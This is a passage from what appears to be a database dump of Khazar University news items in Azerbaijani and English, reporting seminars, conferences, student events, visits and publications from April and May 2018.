quruculuq”, Zöhrə Xəlilova “Fətəli xan Xoyski”, Qumru İbrahimli “AXC-nın süqutu və aprel istilası”, İlahə Həsənzadə “AXC-nın 3-cü hökumət kabineti”, Xanım Dadaşova “Məhəmməd Əmin Rəsulzadə”, Zəhra Ələsgərova “Əlimərdan bəy Topçubaşov” adlı mövzularla çıxış etdilər. Çıxışların hər biri müvafiq slaydların nümayişi ilə müşayiət olunurdu. Həmçinin, tələbə Nigar Şükürova “Qazax müəllimlər seminariyası”, Nobatxanım Rüstəmova “AXC-nın Parlamenti”, Züleyxa Aslanova “Xalq Cümhuriyyəti dövründə ordu qurulucuğu” mövzularında referatlar hazırlamışdılar.</p>'),(5413,3127,'az','Layihə rəhbəri Xəzər Universitetinin müəllimidir','2018-ci il aprelin 20-də Xəzər Universiteti Təhsil fakültəsi Azərbaycan...','<p>2018-ci il aprelin 20-də Xəzər Universiteti Təhsil fakültəsi Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının təşəbbüsü ilə Qazax rayonunda III “Məmməd Araz poeziya günü”nün açılışı oldu.</p><p>Azərbaycan Respublikası Prezidenti yanında Bilik Fondunun, Azərbaycan Yazıçılar Birliyinin (AYB) təşkilatçılığı və Qazax rayon İcra Hakimiyyətinin dəstəyi ilə Gənclər Mərkəzində keçirilən tədbir xalq şairinin öz ifasında səslənən şeirinin oxunması ilə başladı. Sonra Qazax rayon İcra Hakimiyyətinin başçısı Rəcəb Babaşov tədbir iştirakçılarını salamladı.</p><p>AYB Qazax zona filialının sədri Barat Vüsal və \"Məmməd Araz poeziya günü” layihəsinin rəhbəri Qardaşxan Əzizxanlı Məmməd Araz yaradıcılığının Azərbaycan ədəbiyyatındakı rolundan söz açdı. Layihə rəhbəri bildirdi ki, aprelin 20-dən etibarən Qazaxdan başlayan poeziya günləri ölkəmizin müxtəlif şəhərlərində davam edəcək.</p><p>Tədbirdə əməkdar artislərdən Nuriyyə Hüseynova və İlkin Əhmədov, aşıqlardan Camoy Qurbanov və Yaşar Gülümcanov şairin şeirlərinə həsr olunmuş mahnılar oxudular.</p><p>“Məmməd Araz poeziya müsabiqəsi”nin qalibi olmuş məktəblilərin çıxışları zamanı şairin “Azərbaycan –&nbsp;dünyam mənim” və “Qalx ayağa, Azərbaycan” şeirlərinin&nbsp;ifaçılarını tədbir iştirakçıları ayaq üstə, alqışlarla qarşıladılar.</p><p>Tədbirin sonunda müsabiqə qaliblərinə Azərbaycan Respublikası Prezidenti yanında Bilik Fondu tərəfindən təsis edilmiş diplomlar və hədiyyələr təqdim edildi.</p>'),(5414,3127,'en','Khazar University instructor as a project manager','On April 20, 2018, Gardashkhan Azizkhanli, instructor of the Department of Azerbaijani...','<p>On April 20, 2018, Gardashkhan Azizkhanli, instructor of the Department of Azerbaijani Language and Literature, School of Education of Khazar University, initiated III Mammad Araz Poetry Day in Gazakh region.</p><p>The opening ceremony was held in Youth Center on the initiative of the Knowledge Foundation under the President of the Republic of Azerbaijan, Union of Azerbaijani Writers (UAW), and Executive Power of Gazakh region. The ceremony started with recorded recitation of author’s poems by himself. Then Rajab Babashov, Head of Executive Power of Gazakh region, greeted the participants.</p><p>Barat Vusal, Chairman of Gazakh region office of UAW, and Gardashkhan Azizkhanli, project manager of Mammad Araz Poetry Day, talked about Mammad Araz’s important role in Azerbaijani literature. Gardashkhan Azizkhanli mentioned that poetry day, which started on April 20th in Gazakh, will take place in other cities as well.</p><p>Nuriyya Huseynova and Ilkin Ahmadov, Honored Artists, as well as Jamoy Gurbanov and Yashar Gulumjanov, ashigs, sang songs with lyrics by the poet.</p><p>The audience warmly applauded the poems “Azerbaijan – my world” and “Revive, Azerbaijan” which were recited by students who won the competition “Mammad Araz poetry”.</p><p>The winners of the competition were presented with certificates and diplomas of the Knowledge Foundation under the President of the Republic of Azerbaijan.</p>'),(5415,3128,'az','“İstək” litseyinin şagirdləri ilə görüş','2018-ci il aprelin 20-də Xəzər Universitetinin Tələbələrin cəlb olunması üzrə...','<p>2018-ci il aprelin 20-də Xəzər Universitetinin Tələbələrin cəlb olunması üzrə işçi qrupun rəhbəri professor Fuat Rəsulov və İnsan resursları şöbəsinin əməkdaşı Özal Məmmədli Bakı “İstək” litseyinin əsas binasında Xəzər Universitetini tanıtmaq məqsədilə görüş keçirdilər.</p><p>Görüşdə “İstək” litseyinin İB, A-Level və AP proqramları üzrə təhsil alan şagirdləri iştirak etdirdilər. Görüş həm ingilis dilində (Özal Məmmədli), həm də Azərbaycan dilində (Fuat Rəsulov) baş tutdu. Şagirdlərə universitetin reklam bukletləri paylanıldı. “İstək” litseyinin rəhbərliyi Xəzər Universitetindən fizika, kimya və riyaziyyat fənlər üzrə “açıq dərs” təşkil etməyi xahiş etdi.</p><p>Görüşün sonunda şagirdlərin sualları cavablandırıldı.</p><p>Həmin gün saat 16:30 radələrində “İstək” litseyinin Quba filialının şagirdləri Xəzər Universitetini ziyarət etdilər. Əvvəlcə, Özal Məmmədli şagirdlərə universitetin kampusunu gəzdirdi, sonra isə qonaqlar Fuat Rəsulovun hazırladığı təqdimatı dinlədilər.</p><p>Tədbirin sonunda şagirdlərin sualları cavablandırıldı və universitetin bukletləri onlara təqdim olundu.</p><p>Qonaqlar təşəkkürlərini bildirdilər və digər universitetlərdən fərqli olaraq, Xəzər Universitetindəki görüşün çox səmimi olduğunu qeyd etdilər.</p>'),(5416,3128,'en','Meeting with students at “İstək” Lyceum','On April 20, 2018, Prof. Fuat Rasulov, Head of a working group with prospective...','<p>On April 20, 2018, Prof. Fuat Rasulov, Head of a working group with prospective students, and Ozal Mammadli, a staff member of Department of Human Resources, held a promotional meeting with the students of “İstək” Lyceum.</p><p>Students studying within IB, A-Level və AP programs at “İstək” Lyceum joined the meeting. The meeting was both in English (Ozal Mammadli) and Azerbaijani (Fuat Rasulov) languages. University members handed out promotional leaflets to students. Administration of “İstək” Lyceum requested Khazar University to hold “open lessons” in Physics, Chemistry, and Maths subjects. University members also answered students’ questions.</p><p>On the same day, students of Guba branch of “İstək” lyceum visited Khazar University at about 16:30. First, Ozal Mammadli organized a campus tour for students, then Fuat Rasulov made a presentation for the students. Moreover, University members answered students’ questions and gave them promotional leaflets.</p><p>Students expressed their thanks and mentioned that unlike other universities, Khazar University left a deep impression on them.</p>'),(5417,3129,'az','“Ertələmə” xəstəliyi adlı seminar təşkil ediləcək','2018-ci il aprelin 26-sı saat 14:00-da (otaq 406N) Xəzər Universiteti Psixologiya...','<p>2018-ci il aprelin 26-sı saat 14:00-da (otaq 406N) Xəzər Universiteti Psixologiya departamentinin və Xəzər Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə “Ertələmə” xəstəliyi adlı seminar təşkil ediləcək. Seminarı Psixologiya departamentinin müəllimi psixoloq Nilufər Əlizadə keçirəcək.</p><p>Qeyd edək ki, Nilufər Əlizadə Xəzər Universitetində ümumi psixologiya ixtisası üzrə bakalavr təhsilini tamamladıqdan sonra İngiltərənin Coventry Universitetində “sağlamlıq psixologiyası” ixtisası üzrə magistr təhsili almışdır.</p><p>Maraqlanan hər kəs seminara dəvət olunur.</p>'),(5418,3129,'en','Workshop on “Procrastination”','On April 26, 2018, at 14:00 o\'clock (room 406N), on initiatives of the Department...','<p>On April 26, 2018, at 14:00 o\'clock (room 406N), on initiatives of the Department of Psychology of Khazar University and Khazar Psychological Service Center, a workshop on “Procrastination” is to be held. Nilufar Alizadeh, a psychologist and instructor of the Department of Psychology, will run the workshop.</p><p>Nilufar Alizadeh is a Khazar University graduate with Bachelor’s degree in Psychology. She received her Master’s degree in Health Psychology at Coventry University.</p><p>The workshop is open to everyone.</p>'),(5419,3130,'az','NASA-nın keçmiş əməkdaşı Xəzər Universitetində olacaq','2018-ci il aprelin 27-si saat 12:00-da Xəzər Universitetində NASA-nın keçmiş...','<p>2018-ci il aprelin 27-si saat 12:00-da Xəzər Universitetində NASA-nın keçmiş əməkdaşı, hazırda “Mersedes-Benz” şirkətində fəaliyyət göstərən Teymur Sadıxov “<strong><em>Avtomatlaşdırma, robotlaşdırma və süni intellekt</em></strong>” (Autonomous Driving, Robotics and AI) mövzusunda seminar keçirəcək.</p><p>Qeyd edək ki, Teymur Sadıxov dünyanın aerokosmik tədqiqatlar mərkəzi hesab olunan NASA-da elmi tədqiqatla məşğul olan ilk və yeganə azərbaycanlıdır.</p><p>Maraqlananlar seminarda iştirak edə bilərlər.</p>'),(5420,3130,'en','Former NASA staff member at Khazar University','On April 27, 2018, at 12:00, Teymur Sadikhov, former NASA staff member and current...','<p>On April 27, 2018, at 12:00, Teymur Sadikhov, former NASA staff member and current “Mercedes-Benz” staff member, will run a workshop “<strong><em>Autonomous Driving, Robotics and AI</em></strong>” at Khazar University.</p><p>Teymur Sadikhov is the first and only Azerbaijani to conduct research in NASA, an aerospace research center. The workshop is open to everyone.</p>'),(5421,3131,'az','KİM Humanitar və sosial elmlər fakültəsinin tələbələri üçün təlim keçirdi','2018-ci il aprelin 24-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin...','<p>2018-ci il aprelin 24-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin əməkdaşları Aytac Misgərli və Samirə Orucova Humanitar və sosial elmlər fakültəsinin tərcüməçilik ixtisasının tələbələri üçün “<em>Elektron resurslardan necə faydalanmalı</em>” adlı təlim keçirdilər. Təlimdə tələbələrə informasiya mənbələrinə asan giriş, axtarış üsulları və kitabxanada olan yeni xidmətlər haqqında məlumat verildi.</p>'),(5422,3131,'en','Training for Students','On April 24, 2018, Aytaj Misgarli and Samira Orujova, staff members of Library...','<p>On April 24, 2018, Aytaj Misgarli and Samira Orujova, staff members of Library and Information Centre of Khazar University, held a training on “<em>How to use electronic resources</em>” for the students of the School of Humanities and Social Sciences. Students received broad information on access to information resources, effective search methods and new services at the library.</p>'),(5423,3132,'az','Xəzər Universitetinin əməkdaşı beynəlxalq konfransda çıxış edəcək','Xəzər Universiteti Neft-qaz mühəndisliyi departamentinin müdiri dosent Qəşəm...','<p>Xəzər Universiteti Neft-qaz mühəndisliyi departamentinin müdiri dosent Qəşəm Zeynalovun “Şərqi Azərbaycanın struktur-geoloji xüsusiyyətləri və onun qumdaşı laylarının kollektorluq xassələrinə təsiri” adlı məqaləsinin genişləndirilmiş tezisləri geologiya və geofizika üzrə Avropanın ən nüfuzlu konfransı sayılan Avropa Yer elmləri və Mühəndisləri Assosiasiyasının (<em>European Association of Geoscientists and Engineers (EAGE)</em>) 2018-ci il iyunun 11-dən 14-dək Danimarkanın Kopenhagen şəhərində keçiriləcək 80-ci İllik Konfransı və Sərgisinə məruzə üçün qəbul edilmişdir. Bununla əlaqədar olaraq, dosent Qəşəm Zeynalov konfransda məruzə ilə çıxış edəcək və həmin məruzənin materialları EAGE-nin 80-ci İllik Konfransının materialları kitabında məqalə kimi nəşr ediləcək.</p>'),(5424,3132,'en','Khazar University staff member to deliver a report at International Conference','An article \"Structural and geological features of Eastern Azerbaijan and impact of its...','<p>An article \"Structural and geological features of Eastern Azerbaijan and impact of its sandstone on collector properties\" by Assoc. Prof. Gasham Zeynalov, Head of the Department of Petroleum Engineering of Khazar University, has been accepted for Europe\'s most prestigious conference on geology and geophysics held by European Association of Geoscientists and Engineers (EAGE). The conference will be held on 11-14 June, 2018, in Copenhagen, Denmark. Assoc. Prof. Gasham Zeynalov will deliver a report at the conference, and his article will be published in proceedings of 80 Anniversary Conference of EAGE.</p>'),(5425,3133,'az','Xəzər Universitetinin əməkdaşı Türkiyədə keçirilən festivalda iştirak etdi','2018-ci il aprelin 16-dan 18-dək Türkiyə Cümhuriyyətinin Qars şəhərində yerləşən Kafkaz...','<p>2018-ci il aprelin 16-dan 18-dək Türkiyə Cümhuriyyətinin Qars şəhərində yerləşən Kafkas Universitetində Qafqaz Universitetləri Elm və Mədəniyyət Festivalı (“<em>Kafkasya Üniversitetleri Bilim ve Kültür Şöleni</em>”) keçirildi. Festivalda Azərbaycan, Gürcüstan, Özbəkistan, Dağıstan universitetlərinin nümayəndələri iştirak edirdilər. Xəzər Universitetini Azərbaycan dili və ədəbiyyatı departamentinin müdiri dosent Vurğun Əyyub təmsil edərək, Xəzər Universitetinin Təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının təbrik məktubunu festival iştirakçılarına çatdırdı, universitetlər arasında əlaqələrin genişləndirilməsi istiqamətində təkliflərlə çıxış etdi.</p><p>Festivalın sonunda Kafkas Universiteti ilə Xəzər Universiteti arasında əməkdaşlıq müqavilələri imzalandı.</p>'),(5426,3133,'en','Khazar University staff member participates in a festival in Turkey','On April 16-18, 2018, Science and Culture Festival of Caucasus Universities was held in Kafkaz...','<p>On April 16-18, 2018, Science and Culture Festival of Caucasus Universities was held in Kafkas University, Kars city, Turkey. Staff members of universities from Azerbaijan, Georgia, Uzbekistan and Dagestan joined the festival. Vurghun Eyyub, Head of the Department of Azerbaijani Language and Literature, represented Khazar University at the festival. He delivered a congratulatory letter by Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, to festival participants, and searched for opportunities to widen collaboration with other universities. He succeeded in signing a collaboration agreement between Khazar University and Kafkas University.</p>'),(5427,3134,'az','Mühəndislik və tətbiqi elmlər fakültəsinin əməkdaşının məqaləsi Niderlandda çap olundu','Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin Mexanika mühəndisliyi departamentinin...','<p>Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin Mexanika mühəndisliyi departamentinin tədqiqatçısı Dr. Mehdi Kiyasatfarın “<em>Sabit səth akustik dalğaları ilə mayelərin güc qanununun elektroozmotik axına inteqrasiyası vasitəsilə hissəcik manipulyasiyası</em>” (“Particle manipulation via integration of electroosmotic flow of power-law fluids with standing surface acoustic waves (SSAW)”) (aprel, 2018-ci il, c.80, s. 20-36) adlı tədqiqat məqaləsi Niderlandın beynəlxalq “Wave Motion” jurnalında çapdan çıxmışdır.</p><p>Məqaləni bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"https://www.sciencedirect.com/science/article/pii/S0165212518301239\">https://www.sciencedirect.com/science/article/pii/S0165212518301239;</a></p><p><a href=\"https://www.journals.elsevier.com/wave-motion\">https://www.journals.elsevier.com/wave-motion</a>.</p>'),(5428,3134,'en','An article published in the Netherlands','A research paper “Particle manipulation via integration of electroosmotic flow of power-law...','<p>A research paper “<em>Particle manipulation via integration of electroosmotic flow of power-law fluids with standing surface acoustic waves (SSAW)</em>” by Dr. Mehdi Kiyasatfar, a researcher of Mechanical Engineering Department of the School of Engineering and Applied Sciences, Khazar University, was published in the International Journal of Wave Motion ((Netherlands, April, 2018, V.80, pp. 20-36).).</p><p>The article can be read through the following links:</p><p><a href=\"https://www.sciencedirect.com/science/article/pii/S0165212518301239\">https://www.sciencedirect.com/science/article/pii/S0165212518301239;</a></p><p><a href=\"https://www.journals.elsevier.com/wave-motion\">https://www.journals.elsevier.com/wave-motion</a>.</p>'),(5437,3139,'az','Tarix və arxeologiya departamentinin müəllimi beynəlxalq konfransda','2018-ci il aprelin 22-də Belçikanın Antwerp şəhərində Belçika Türk Mədəniyət Mərkəzi...','<p>2018-ci il aprelin 22-də Belçikanın Antwerp şəhərində Belçika Türk Mədəniyət Mərkəzi, UKİD və Azərbaycanın Gəncliyə Yardım Fondunun birgə təşkilatçılığı ilə Türkiyə və Azərbaycandan olan elm adamları, içtimai-siyasi xadimlərin iştirakı ilə “Türkiyə-Azərbaycan əlaqələri və Ermənistan problemi” mövzusunda beynəlxalq konfrans keçirildi. Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Dr. Telman Quliyevin “XIX əsrin sonu XX əsrin əvvəllərində erməni terror təşkilatlarının Azərbaycan və Şərqi Anadoluda həyata keçirdiyi qətliamlar” mövzusunda məruzəsi dinlənildi. O, xüsusilə, rus və Osmanlı arxiv sənədləri əsasında 1890-cı ildən etibarən “Armenakan”, “Xıncaq” və “Daşnaqsütün”un Azərbaycan və Anadolu coğrafiyasında həyata keçirdiyi müsəlman-türk qətliamları haqqında geniş məlumat verərək, imperialist dövlətlərin Osmanlı və Azərbaycan siyasətində erməni təşkilatlarından öz siyasi maraqları üçün necə istifadə etdiklərini izah etdi.</p>'),(5476,3158,'en','A meeting with former Chief of the General Staff of Turkey','On May 3, 2018, at 11:00, an open meeting is to be held at the conference hall of “Dunya”...','<p>On May 3, 2018, at 11:00, an open meeting is to be held at the conference hall of “Dunya” school with Mehmet İlker Başbuğ, the 26<sup>th</sup> Chief of General Staff of Turkey, on the occasion of the 100<sup>th</sup> anniversary of the establishment of the Azerbaijan Democratic Republic and the Azerbaijani Army.</p>\r\n<p>Those interested are most welcome.</p>'),(5477,3159,'az','N.Səfərova: “Xəzər Universiteti ilə Malayziya universitetləri arasında yaxşı əlaqələr var”','2018-ci il aprelin 30-da novoye-vremya xəbər saytı turizm üzrə ekspert...','<p>2018-ci il aprelin 30-da <strong><em>novoye-vremya</em></strong> xəbər saytı turizm üzrə ekspert, “<em>Новая Азия</em>” jurnalının baş redaktoru Nərgiz Səfərovadan müsahibə almışdır. N.Səfərova müsahibəsində Malayziya universitetləri ilə Xəzər Universiteti arasında tələbə mübadiləsindən, eyni zamanda, “Dünya” məktəbi ilə yeni layihəyə başlamasından danışmışdır.</p><p>Müsahibəni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.novoye-vremya.com/w128201/.../\">http://www.novoye-vremya.com/w128201/.../</a>.</p>'),(5429,3135,'az','“Xəzərşünaslıq” fənni tələbələri üçün ekskursiya','2018-ci il aprelin 7-də Xəzər Universiteti Coğrafiya və ətraf mühit departamenti müəllimlərinin...','<p>2018-ci il aprelin 7-də Xəzər Universiteti Coğrafiya və ətraf mühit departamenti müəllimlərinin təşəbbüsü ilə “Xəzərşünaslıq” fənni tələbələri üçün Ekologiya və Təbii Sərvətlər Nazirliyi Milli Hidrometeorologiya Departamenti Neftçala ixtisaslaşdırılmış mənsəb hidrometeorologiya müəssisəsinə ekskursiya təşkil olundu.</p><p>Çöl tədqiqatı zamanı tələbələr gəmi ilə Kür çayının mənsəbinə qədər üzdülər, eyni zamanda, Xəzər dənizinin meteorologiyası, səviyyə rejimi və Kür çayının mənsəbi haqqında praktiki biliklər aldılar.</p>'),(5430,3135,'en','Students on Excursion within subject “Caspian Studies”','On April 7, 2018, on initiatives of the instructors of the Department of Geography...','<p>On April 7, 2018, on initiatives of the instructors of the Department of Geography and the Environment, the students went on an excursion, within the subject of “Caspian Studies”, to Neftchala Specialized Hydrometeorological Institute, National Hydrometeorology Department of the Ministry of Ecology and Natural Resources.</p><p>During the field study, the students sailed to the mouth of the Kur River, and gained practical knowledge on meteorology and the level regime of the Caspian Sea as well as the mouth of the Kur River.</p>'),(5431,3136,'az','Meksikanın Azərbaycandakı səfiri Xəzər Universitetində seminar keçirəcək','2018-ci il mayın 2-si 10:20-də Meksikanın Azərbaycandakı səfiri cənab Rodrigo Labardi...','<p>2018-ci il mayın 2-si 10:20-də Meksikanın Azərbaycandakı səfiri cənab Rodrigo Labardini Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentində “Meksikanın xarici siyasət prioiritetləri və Azərbaycanla ikitərəfli əlaqələri” mövzusunda seminar keçirəcək. Seminar Xəzər Universitetinin “Neftçilər” kampusu konfrans zalında (otaq 102N) baş tutacaq.</p><p>Maraqlanan hər kəs seminarda iştirak edə bilər. İştirak üçün qeydiyyatdan keçmək zəruridir. Qeydiyyat üçün ad, soyad və təmsil etdiyiniz müəssisənin adını&nbsp;<a href=\"mailto:elmar.mustafayev@khazar.org\">elmar.mustafayev@khazar.org</a>  e-mail ünvanına göndərməyiniz xahiş olunur.</p>'),(5432,3136,'en','Mexican ambassador to Azerbaijan holds a seminar','Mr. Rodrigo Labardi, Mexican ambassador to Azerbaijan, will hold a seminar on “Priorities of foreign...','<p>Mr.&nbsp;Rodrigo Labardini, Mexican ambassador to Azerbaijan, will hold a seminar on “Priorities of foreign policy of Mexico and bilateral relations with Azerbaijan” in the Department of Political Sciences and International Relations of Khazar University at 10:20, May 2, 2018. The seminar will be held in conference hall (room 102N), “Neftchiler” campus.</p><p>The seminar is open to everyone. The participants are required to get registered sending their name, surname and name of organization to&nbsp;<a href=\"mailto:elmar.mustafayev@khazar.org\">elmar.mustafayev@khazar.org</a>.</p>'),(5433,3137,'az','“Dünya” jurnalının yeni nömrəsi çapdan çıxıb','Xəzər Universiteti “Dünya” Təhsil Kompleksinin nəşri olan “Dünya” jurnalının...','<p>Xəzər Universiteti “Dünya” Təhsil Kompleksinin nəşri olan “Dünya” jurnalının 2018-ci il yanvar-fevral nömrəsi Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.</p>'),(5434,3137,'en','A new issue of “Dunya” journal','A January-February issue for 2018 of “Dunya” journal, a publication of “Dunya” school...','<p>A January-February issue for 2018 of “Dunya” journal, a publication of “Dunya” school, has been published at publishing house of Khazar University.</p>'),(5435,3138,'az','Davamlı İnkişaf Məqsədləri (DİM) və könüllülərin rolu','2018-ci il aprelin 24-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə Birləşmiş Millətlər...','<p>2018-ci il aprelin 24-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə Birləşmiş Millətlər Təşkilatının Könüllüləri Proqramı (UNV) və AIESEC Könüllülük Proqramı ilə bağlı məlumat sessiyası keçirildi.</p><p>Məruzəçi BMT Könüllülük Proqramının rəhbəri Kim Kiyoun tələbələrə ümumi məlumat verərək, onları proqramda iştirak etməyə dəvət etdi. Sonra Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin tələbəsi Murtaza Afzali AIESEC   Könüllülük Proqramı ilə bağlı məlumat verdi.</p><p>Məlumat sessiyasının sonunda tələbələrin sualları cavablandırıldı.</p>'),(5436,3138,'en','Sustainable Development Goals (SDGs) and the role of volunteers','On April 24, 2018, informational session on the United Nations Volunteers...','<p>On April 24, 2018, informational session on the United Nations Volunteers (UNV) program and AIESEC volunteers program was held on the initiative of Career Center of Khazar University.</p><p>Speaker Kim Kiyoun, Head of UNV gave students information on the program and invited them to join the program. Then Murtaza Afzali, a student of the School of Economics and Management, gave students information on AIESEC volunteers program. Speakers also answered students’ questions.</p>'),(5438,3139,'en','Instructor of the Department of History and Archeology in a conference','On April 22, 2018, an international conference on “Turkey and Azerbaijan relations...','<p>On April 22, 2018, an international conference on “Turkey and Azerbaijan relations and Armenia problem” was held in Antwerp, Belgium, which was jointly organized by Belgian Turkish Cultural Center, UKİD, and the Fund of Aid for Youth. Scientist and public figures from Azerbaijan and Turkey participated in the conference. At the conference, Dr.&nbsp;Telman Guliyev, instructor of the Department of History and Archeology, delivered a report on “The massacre committed by Armenians in Azerbaijan and Eastern Anatolia in the late 19th and early 20th centuries”. Referring to Russian and Ottoman achieve materials, he provided the participants with broad information on massacres committed by “Armenakan”, “Khinjag” and “Dashnaktsutun” in Azerbaijan and Anatolia since 1890, and explained how imperialist powers used Armenian organization to achieve their political aims in the Ottoman region and Azerbaijan.</p>'),(5439,3140,'az','THE SAME “Friendship Match” adlı futbol yarışı keçirdi','2018-ci il aprelin 22-də Xəzər Universitetini “P2P: Facebook Global Digital Challenge”...','<p>2018-ci il aprelin 22-də Xəzər Universitetini “P2P: Facebook Global Digital Challenge” müsabiqəsində təmsil edən “THE SAME” komandasının təşəbbüsü ilə “Friendship Match” adı altında futbol yarışı keçirildi. Oyunda müxtəlif xalqlara mənsub 12 gənc öz dostluq və birliklərini nümayiş etdirdilər.</p><p>Bildiyimiz kimi, futbol, sadəcə, oyun deyil, həm də xalqlar arasında sülh və dostluq rəmzidir. Bu oyun vasitəsilə ayrı-ayrı xalqların və irqlərin fərqliliyinin olmadığı, hər kəsin bərabər olduğu nümayiş olunur. Buna görə də, irqçiliyin aradan qaldırılmasına çalışan THE SAME komandası nümunəvi addım atraq fərqli irqlərin təmsilçilərini bir araya gətirdi, tolerant mühit yaratdı. Oyunda Əfqanıstan, Cənubi Koreya, Efiopiya, Qambiya və Azərbaycandan olan həvəskar futbolçular iştirak edirdilər: Aman Nazari; Dawda Ndure; Fuad İsmayılov; Jaehyun Chung; Jin Pyeong Kim; Kim Seongjeong; Moha Akhondzadeh; Murtaza Azali; Nihad Mehdiyev; Rob Haile; Toğrul Tağızadə; Waheed Muhammad. Oyunun nəticəsi 5:6 olsa da, sonda qalib gələn birlik, bərabərlik və dostluq oldu.</p><p>Qeyd edək ki, THE SAME komandası Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələrindən təşkil edilmişdir və layihəyə “Edventure Partners (EVP)” şirkəti idarəçilik edir. Müsabiqə “P2P: Facebook Global Digital Challenge” adı ilə təşkil olunmuş beynəlxalq universitetlər arası yarışdır. Müsabiqədə 50-dən artıq ölkədən təmsilçilər var, ölkəmizi isə yarışda yalnız THE SAME komandası təmsil edir.</p><p>Bu haqda daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"https://www.facebook.com/thesame.aze/\">https://www.facebook.com/thesame.aze/</a>;</p><p><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>.</p>'),(5440,3140,'en','THE SAME holds “Friendship Match”','On April 22, 2018, football competition “Friendship Match” was held on initiatives...','<p>On April 22, 2018, football competition “Friendship Match” was held on initiatives of “THE SAME” team, which represents Khazar University in “P2P: Facebook Global Digital Challenge” competition. 12 young men demonstrated friendship and solidarity within the competition.</p><p>As it is obvious, football is not just a game, it is also a symbol of peace and friendship among nations. This competition demonstrates equality of all nations and races. Therefore, “THE SAME” team created a tolerant environment by gathering people of various races together. Amateur football players from Afghanistan, South Korea, Ethiopia, Gambia and Azerbaijan participated in this competition: Aman Nazari; Dawda Ndure; Fuad Ismayilov; Jaehun Chung; Jin Pyeong Kim; Kim Seongjeong; Moha Akhondzadeh; Murtaza Azali; Nihad Mehdiyev; Rob Haile; Togrul Tagizade; Waheed Muhammad.</p><p>THE SAME” team has been established by the students of the School of Economics and Management of Khazar University. The team is managed by “Edventure Partners (EVP)” company. The team participates in “P2P: Facebook Global Digital Challenge”, an international competition among universities. Teams from more than 50 countries participate in this competition in which “THE SAME” is the only team representing Azerbaijan.</p>\r\n<p>More information can be obtained through these links:</p><p><a href=\"https://www.facebook.com/thesame.aze/\">https://www.facebook.com/thesame.aze/</a>;  <br></p><p><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>.</p>'),(5441,3141,'az','Doktorantın elmi işi müzakirə olundu','2018-ci il aprelin 19-da Xəzər Universiteti Magistratura, doktorantura və elmi işlər bölməsi...','<p>2018-ci il aprelin 19-da Xəzər Universiteti Magistratura, doktorantura və elmi işlər bölməsi Siyasi elm və beynəlxalq münasibətlər departamenti ilə birlikdə doktorant Şəhriyar Məmmədovun “ABŞ-Azərbaycan münasibətləri: siyasi təhlil” adlı dissertasiya işinin ilkin müzakirəsini keçirdi. Müzakirədə AMEA Fəlsəfə İnstitutunun əməkdaşları – professor Əlikram Tağıyev, f.e.d. Füzuli Qurbanov, s.ü.f.d. Sənan Hesenov, Telman Quliyev, f.ü.f.d. Məhəmməd Cəbrayılov, f.ü.f.d. Hüseyn İbrahimov, s.ü.f.d. Ruhəngiz Hacıyeva, Vəfa Saleh, A.Bakıxanov adına Tarix İnstitutunun böyük elmi işçisi t.ü.f.d. Mahir İbrahimov, Xəzər Universiteti Magistratura, doktorantura və elmi işlər bölməsinin müdiri f.ü.f.d. Eldar Şahgəldiyev, Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev, departamentin müəllimi Günay Muxtarova iştirak edirdilər.</p>'),(5442,3141,'en','Preliminary defense of a PhD dissertation','On April 19, 2018, Khazar University Division of Graduate Studies and Research held preliminary...','<p>On April 19, 2018, Khazar University Division of Graduate Studies and Research held preliminary defence of a dissertation by Shahriyar Mammadov, PhD candidate, on “US-Azerbaijan relations: a political analysis” together with the Department of Political Science and International Relations. Associates from the Institute of Philosophy of ANAS, Professor Alikram Tagiyev, Dr. Fuzuli Gurbanov, Dr. Sanan Hasanov, Dr. Telman Guliyev, Dr. Mahammad Jabrayilov, Dr. Huseyn Ibrahimov, Dr. Ruhangiz Hajiyeva, Vafa Saleh, associate of the Institute of History named after A.Bakikhanov, Dr. Mahir Ibrahimov, Dr. Eldar Shahgaldiyev, Head of Division of Graduate Studies and Research of Khazar University, Elmar Mustafayev, coordinator of the Department of Political Science and International Relations of Khazar University, and Gunay Mukhtarova, instructor, participated in the defence.</p>'),(5443,3142,'en','Visit from Faculty of Economics of University of Ljubljana within Erasmus+ Programme','On April 23-24, 2018, Khazar University hosted a delegation from the Faculty...','<p>On April 23-24, 2018, Khazar University hosted a delegation from the Faculty of Economics of the University of Ljubljana (FELU) within the Erasmus+ Programme. On April 23, a program to familiarize guests with culture and history of Azerbaijan was organized. Guests visited Gobustan National Historical Artistic preserve.</p><p>On April 24, guests participated in the program that took place on the Neftchiler campus of Khazar University. The program consisted of presentations of both universities and discussions. The Founder of Khazar University, Chairman of its Board of Directors and Trustees Prof. Hamlet Isakhanli also met with the guests.</p><p>FELU delegation included: Ms. Danijela Voljc, Head of International Relations Office, Ms. Klavdija Besednjak, International Relations Office, Ms. Smiljana Zajec, Head of Quality Assurance Office, Ms. Tanja Gvozdenovic, Head of Marketing office, Mr. Dusan Jerse, Head of Accounting Unit, and Ms. Zenja Kansky-Rozman, lecturer in Business English at the Faculty of Economics who delivered several lectures at the Department of English Language and Literature of Khazar University.</p><p>Khazar University was represented by: Prof. Mahammad Nuriyev, Vice-Rector for Academic Affairs, Dr. Jeyhun Mammadov, Dean 